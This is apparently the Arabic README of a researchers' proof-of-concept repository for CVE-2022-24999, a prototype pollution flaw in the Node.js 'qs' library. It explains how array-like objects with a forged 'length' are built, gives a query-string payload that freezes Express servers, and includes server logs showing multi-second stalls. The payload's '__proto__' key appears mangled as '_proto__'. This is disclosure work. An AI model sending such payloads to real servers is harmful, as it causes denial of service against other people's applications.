
"qs" ثغرة تسمم النموذج الأولي ( CVE-2022-24999 )
يحتوي هذا المستودع على عينات استغلال للثغرة التي وجدناها في مكتبة JS "qs" في ديسمبر 2021.
الإصدارات الضعيفة من "qs" تسمح بإنشاء خصائص "proto" على كائنات JS الناتجة.
من خلال تعيين مصفوفة في الخاصية “__ proto__”، تمكنا من إنشاء كائنات "شبيهة بالمصفوفة".
بما أن الكائنات الناتجة ترث النموذج الأولي "Array"، فإنها تعرض دوال Array الأصلية.
ولكن بما أنها لا تزال كائنات، فإن "qs" تسمح بتعيين خاصية "length" عليها.
كمثال، ستقوم الحمولة التالية بإنشاء هذا النوع من المصفوفة "الخبيثة":
categories[_proto__]&categories[_proto__]&categories[length]=100000000
وبالتالي، فإن تعيين قيمة "length" غير معقولة عليها سيؤدي إلى تجميد عملية node بمجرد محاولة تحويلها إلى قيم نصية أو استدعاء معظم دوال Array الأصلية.
هذا يعرض أي تطبيق Node يستخدم إصدارًا ضعيفًا من "qs"، مع تكوين Express الافتراضي وبدون نظام تحقق قوي لهجمات DOS التطبيقية.
فيما يلي مثال على سجلات الإثبات في ./express-qs-string-bomb:
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
سمح لنا تحليلنا أيضًا برؤية أن طرق استغلال أخرى كانت ممكنة.
نصف بعضًا منها في دليل ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
لـ EY Security، فرنسا